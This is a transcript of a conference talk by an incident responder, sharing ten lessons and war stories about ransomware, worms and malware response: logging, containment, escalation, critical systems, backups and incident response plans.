 So my name is Caspian. You've all heard that. I'm going to talk about 10 things I wish I knew before my first incident I'm not the only one who wrote this talk So my manager a crowd-strike Shelly Giesbricht who can't be here today would have been doing this talk And I think I'm looking forward to seeing her version of it because it's probably gonna be pretty cool We're gonna go over a story or two and then we're gonna get into my top 10 list and I hope you'll enjoy it I'm just gonna Proface this I don't know by saying Nothing I'm talking about in here is not public information. So it's already stuff that's gone out I don't speak on behalf of my employers while I'm here. I'm speaking from personal experience I've been with crowd-strike for a while. I've been doing this for 20 years though. So That's kind of the whole thing. So let's start with my first incident I was pretty young. It was a long time ago ransomware wasn't a thing yet and I Was kind of a junior incident responder really like getting into my stuff getting very excited about things and we had a malware case Kind of like what we've been talking about for the last couple of hours except much less advanced than anything I've been talking about for the last couple hours We hit the big red panic button a bunch of people go running into this executives office. We're freaking out We're tearing apart computers. We're pulling stuff out. We're like getting ready to like do dead disk work and Over the space of probably oh, I don't know a full day Panic ensues lots of panic people are running around waving their hands. Oh my god. It might be a state-motivated threat actor They might be attacking us Turns out it was actually just an email campaign and the only reason We were freaking out was because the email campaign deployed something on this one executives desktop and the poor executive went Yeah, let me just click on that and open it That ended badly it ended in a huge waste of resources I had ended us scrambling pretty much all the jets and the search dogs and the fire department For nothing it also kind of did some bad stuff for our security team because we Got looked at is that the people who freak out over nothing, which is not a great situation so There's some commonalities here. You're seeing them up on the screen of course but one of the things that I like kind of pointing out is that I There are usually three things you need for doing Incident response. Well, they're up there. I'll let you read them I'm gonna talk about a second story where and this was a little bit later in my career At a hospital we had something worse happen this time. It was real so ransomware hits a hospital This happens. Unfortunately. It's a it's a thing this time It's not so bad that it's like making the hospital not work But it's bad enough that it's messing everything up for us and we hit the big red button and everybody panics and everybody runs and thankfully We had the ability to call out for help So we got some extra people in but it took us a little while to get to that point We also didn't have any way of talking to anyone in the various divisions of the IT team or anything else So, you know, it took us a while to get to the point where we were covering things So by the time we finished the recovery, you know about 16 million years later. Actually it was close to six months The threat comes back and wax us again Yeah, that was great I think the main thing here basically is plans communication and visibility obviously the visibility part is actually My number 10 on this list. It's the first stop Can you even detect threat actor activity? And a lot of people are gonna be like, yeah, cool. We've got tooling We've got automation. We've got all this cool stuff and that's great. It's very important I work for a company that sells automation and tooling I worked for a company prior to this that also did that I've spent a lot of my life looking at other people's work around it and Honestly, everybody's doing a good job in this space I'll obviously say that you know my employers are better than everyone else because I work there But I've also actually gotten to work with their stuff a lot But The main thing here for me is actually people You can have all the shiny blinky lights in the world You can have all the machines that go ping it really doesn't matter if you don't have people who are capable of handling those things So, you know, there are two questions on this slide obviously and these were ones that I would keep asking every time I changed jobs every time I got a new role as an incident responder What what's the security stack look like and it's gone from? Norton antivirus which should give you an idea of how long I've been doing this To advanced endpoint detection and threat resolution blah blah blah intelligence sprinkle some blockchain on there Whatever you want And and the thing with this is that that stuff's great But sometimes your solutions bail or twine and duct tape or just grab so Knowing you can detect stuff is great Knowing what happened is even better and a lot harder and and the three things here on this slide These are kind of you know an ideal situation I have never worked with a team either in consulting or in you know in practice when I was doing it where we have all three of These lined up perfectly Usually what we've got is it got a situation where we've got some good investigators But the logs aren't being stored anywhere or the logs are only being preserved for a week because they're too many of Them or on and on and on In a lot of these situations, you know your your outcome from your your actual incident response is probably not going to be as Good as you want it to it's not going to be one of those things where hey, you know, this is great We resolved everything, but let me talk about one where it did work for me And this was a little while ago It was another minor ransomware case and this time basically I walked in the door I think I was working alone at this point And I said, you know where your logs and the IT person comes back and he says, oh, they're right over there All 40 gigs of them go nuts So several hours later, I had started to be able to reconstruct how the threat actor got in what they did everything else This is you know, not not a lot of systems. We're talking about it's a fairly limited scope and what was kind of nice about it was We actually had a resolution within a week, you know, it wasn't an incident that just dragged on and on and on We actually knew what we could do. So that's a good situation I've been in a lot of bad situations and usually it's because logs are missing or they're not stored long enough or People aren't trained on their equipment. I think I'm repeating myself, but I think you get the point I've also worked with a lot of grep in the past. That's why this is up here. This is actually me 25 years ago when I got my start in incident response so The next question we've gone with Can we see the ta? Can we investigate? This is a bigger piece for me. What can I contain? I love this picture and that's why I put it up here, but I There are a couple of main things about containment containment is should be your first move on an incident but in a lot of cases your first move is Once you get past this part go to containment look at what you can contain and you should know what you can contain but a lot of people don't because you know There's more than just the incident response team working in IT. So you're gonna end up in situations where Your containment isn't working because you're missing pieces. There's missing communication that kind of goes back up to my top slide, right? I've worked with teams that really know their stuff and they've got good processes and there's been tooling and investigation And this is also doing the consulting side of things But for me the containment part is usually where people trip up. We think we've succeeded We're not sure can we call you and get some more information and I've been the person asking those questions and For me, it's kind of perpetually a case of like how sure are we? How far can we see so let's go back to slides, you know who who's actually able to help us here, which is another piece so I Think with ransomware. It's actually really simple to talk about containment. We're basically saying okay Stop the spread cool Great, we've done that. What about the threat actor and the C2 networks and the rats and the data? Well, you can't prove the data was exfiltrated unless you can see what's going on on the network And if you can't see what's going on on the network, let me back up a slide. No, I'm kidding So the next piece after the containment side and actually in some cases at the very beginning of the containment side is Who do I call for help? I Where's your team of avalanche search dogs coming from? You know, are you able to call? Across the room to the IT engineering department and say, okay, can you like you know close all this stuff up? I've got a really interesting story about that one actually I was working at a place where we had a really really large network and What basically happened one Friday, of course at around five o'clock when I was on my way out to a conference Was the entire network went offline not just Not just the internal one, but our connection out and literally everything else. We basically DDoS herself from the inside of the network and Network engineering lead comes over to me and says you're never gonna guess what just happened And I'm like, well, I think I am because you're gonna tell me and I'm gonna bet it was a worm. Yeah, it was So the problem with this was we had no way of reaching the side of the Large campus that I was working on to talk to the people who had the worm to tell them to stop for three hours so our entire network was offline for three hours because we didn't have a phone number the other piece of this and this kind of Turned into something later because the reason this DDoS happened was we had a piece of technology that had really really really really Really poor internal security I don't know if any of you have ever run across a username of developer and a password of you can guess so This is where the functions that end in R come in in this case HR wasn't involved PR Thankfully wasn't involved, but lawyer was involved and then there was a third one that we didn't have to call up our fourth one Sorry external responder Knowing when to escalate is kind of important because getting those people those ours on board is Sometimes gonna require a call at three o'clock in the morning And sometimes it's gonna require that they actually get over there in time when I've worked for on-site incident response teams Which I've done a little bit We usually try and have a 24-hour readiness time if you're in the middle of a ransomware case That's That's a lot of time, you know, so be prepared to get extra help know who to call for extra help and know who to escalate and if we You know go back to my original sort of not exactly an incident incident The escalation went to me, but I was the only incident responder there I was the junior incident responder and that's all I did And it was coming from an executive who probably should have been the person who actually had the power to do that But didn't really know how that worked and I think this is probably one key point to take away from this is You need sponsorship from somebody further up in the organization even if you're at the top of the organization You should probably have that backing so the next piece in my top 10 list is criticality This is one of my favorites because I do a lot of strategic practice work as well as incident response And I help run red team blue teams and you know do tabletop exercises with people So we spend a lot of time Doing simulations and sitting folks in a room not as many folks are here right now but sometimes we get quite a lot and We usually will have a question of like okay, so where are your critical systems? And my favorite thing in the world and by favorite. I mean I absolutely hate it It's kind of terrible is the number of blank faces. I see when I ask that because there's always a oh Yeah, I mean I guess I guess the point of sale machines are critical or Maybe it's that that electronic health records that's probably important or or maybe our SQL data bit and then it balloons And this is the thing with what critical is It's obviously get a very poor organization, you know if you're if you're in You know if you're running a store for example, you're doing sales It's gonna be a very different thing from if you're a hospital or a factory that makes widgets It's also gonna vary per team everyone thinks what they're doing is important You don't want to really take that away for them obviously but you do have to have a hard conversation about who gets budgets and who's responsible for patching and Who's gonna be there when the lights go out and who you're gonna call to restore everything because as an incident responder You can't do everything and usually this is why we at you know, we call it a team, but the team kind of extends The other piece of this is who knows what and and who knows what they own and this is my favorite This is my favorite sort of like dig down when we're doing tabletop exercises The worst thing in the world in an incident is to not know who owns the system you're working with I actually had a case years ago where We we had a it was another malware case So it gives you an idea how long it was because you know malware now is solved by everything But it was a mouth malware on a Windows XP machine Malware on a Windows XP machine and a part of one of the buildings I worked in that no one knew even existed until the malware pinged our antivirus and went hi, I'm here calling out to Russia Come get me and we're like, okay. Where is this? Where is the system? Turns out it was in the basement and it was attached to our HVAC system and When we got down there We start tearing it apart. We're like, okay, first of all, no one knew this was here Who's is it? You know, can you tell me what it does? It took us two days to figure out It was connected the HVAC system that was another one that kind of turned into an emergency for us because it was around the time of Stuxnet and There were questions being asked and thankfully again, it didn't blow up too big We didn't have to do the whole you know panic arms waving thing, but We did have to spend a lot of time doing a very long and deep investigation after that just to make sure everything else was okay because We also discovered that the HVAC system was controlled by a whole bunch of PLC's and workstations and servers That we hadn't seen yet and weren't on our radar Is this critical? I don't know is an HVAC system critical for a building? I think so I ran a simulation a little while ago with one of our hospital clients that I kind of love because we actually set it up So that we just turned off refrigeration for them Turn off refrigeration in the middle of a covid vaccine campaign You have a huge problem on your hands. So again going back to knowing what's critical and who owns it That's going to extend outside the IT team sometimes The next piece is how do we customer and I like saying it this way because it's also how do I even? Or how do I cope? Um This isn't a self-help seminar So I'm not going to get into the individual coping skills that you have to have as an incident responder Which I'm sure all of you have probably struggled with if you're an incident responder and probably if you do security at all You've had to struggle with this This part's about the organization You can see what's on the slide obviously, but let me talk about something that is in the picture on the slide This is a picture of Woodstock This is the nice picture of what was up the field from what was down the field at the end of Woodstock and all the way through Woodstock They had to hire helicopters get musicians in and out because they were so narrowly focused on the idea of let's do this show But they sort of forgot to install port-a-potties and people got sick and They couldn't get ambulances in Woodstock was actually worse than the fire festival in some senses just in terms of the emergency preparedness and kind of dealing with All of this stuff. So I you're probably asking yourself Caspian What's your point which is a really funny thing to ask yourself because your name is not Caspian But my point is really simple Be prepared for denials of service be prepared for things shutting down be prepared without of band communications Going back to again my first non-incidence story and actually the second one as well that out of band communication piece was huge If we had had it it would have been very simple if we thought all our networks were compromised Cool, let's switch to signal and talk or something else Right now though, you know We're kind of having a hard time here because we can't talk we can't speak we can't see we don't know what's going on so This brings me to the next piece. We also don't know who does what I kind of talked about this in the criticality piece Not knowing who owns what's gonna slow you down I mentioned that with the story about the windows XP box in the basement Not knowing who does what's gonna hurt you even more if I go in in an incident and turn off a critical system Or I just turn off a system or I trip over a power supply that knocks out the billing system for somebody We need to know who's gonna call the people at the end of the billing system We need to know who's gonna turn the power supply back on I need to know all this other stuff Incidents don't occur our current a vacuum so as much as an incident responder My focus is gonna be put out the fire, you know, stop the bleeding fix all the stuff There's all this other stuff going on where we're gonna need to actually Call these people in and get them to work. So, you know, the 4r as I mentioned before you're that your lawyers your HR your PR those folks I a lot of good Prepared organizations I work with and I'm saying good and prepared sort of separately because there are a lot of good organizations that are unprepared The ones that are prepared usually actually have a sense of who does what in this case, you know We do check who the pseudo reports go to That's actually kind of important knowing about that Putting that down somewhere in a way that it's accessible for your responders for me if I'm your responder It's gonna make a huge difference because if I don't know then who do I talk to so the next piece Speaking of talking if I can actually get it to advance There we go next piece is connections you'd think I would have put this at the top, but I'm kind of going in reverse order I don't know if anyone's kind of noticed that Connections are really important for a couple of reasons The first piece on this slide is actually the one that you probably should be thinking of before the incident Have you scanned externally? Do you know how everyone's getting in? Do you have a way of getting in to that data center or anywhere else remotely? And if you don't Are you prepared to drive for two hours to Laval or Toronto? That's gonna take longer than two hours if you're driving from here Access is a really big deal Loss of access, especially when everything goes out also a really big deal I don't have a good story about this because I can't talk about some of the stuff that I've seen except to Give a vague indication that that two-hour drive was something that one of my clients did experience a few times And they had to basically say Yeah, we need to figure out a way to get in Well, and I'm merging a whole bunch of people in this case So they build this bashing host and it's really nice But it's getting scanned constantly and they haven't put any kind of anything on it to prevent it from actually being used for remote desktop access One of my favorite threat threat actors really loves using remote desktop to just sling stuff all over the place. Guess what happened? It was a lot of fun to solve that one We had this really cool new tool that had just come out that we could actually map the remote desktop sessions out from So we could see exactly what they were doing I sort of chuckled when we saw this person just basically download Metasploit from Rapid7's site and start using that This piece I'm sure you've all had to deal with at some point. I have Extensively this is actually where and this is one of my favorite parts as well. This isn't criticality They go hand in hand. They're like They're like drinking too much in a hangover, you know, they're they're just gonna be there all the time So first of all Please please save me next time and test your backups I've been in so many situations myself and with other people where those backups weren't properly tested or the restore process Wasn't properly tested. That's an even bigger one I mean if you're restoring over a T1 line and you've got terabytes of data, that's not gonna work out Well if that AS 400 that you don't have a backup for that drives all of your production systems goes down You may want to have a backup system for it Backups are a big deal. Backups are a cost center Backups are also what allow you to get out of the ransomware incident quickly because that's usually what's gonna happen We're you know, we may find it a cryptor. We may find a key. That's cool But man if you can restore from backup quickly enough, you're gonna be fine. The rest of it's gonna be an investigation So this brings me to number 10 on my list I've been hinting at it all day Do you have a plan? I work with lots of people who don't they didn't write it down their plans a nice ISO document that has a phone number in it And that's it So there are good plans and bad plans the plan you wrote for the auditors is a bad plan The good plan is not the end of my slide deck It's all these little boxes here and let me let me let me walk you through this just in case you've got tired of being Rick rolled The never gonna is your actual master incident response plan That's the thing that has all the phone numbers that you have tearaways from you give them to people and say okay you go IT engineering guy help me out here The next piece playbooks Playbooks are kind of useful when you're doing this all the time and you're kind of panicking your way through something because you've actually got something Written down that you can go back and say okay. We've done this before Let's see how it works or we've planned this out and tested it did I mentioned testing testing is really important And then the last piece the awesome piece is the fact that those playbooks and the plan and everything else goes right back into a continuous improvement process that you can use To build better IT and build better incident responders So that's it I'm just gonna do this one more time. I've never Rick rolled a room full of people before Thank you all very much. I hope you hope you enjoyed that and obviously questions will be later So I'll be back for that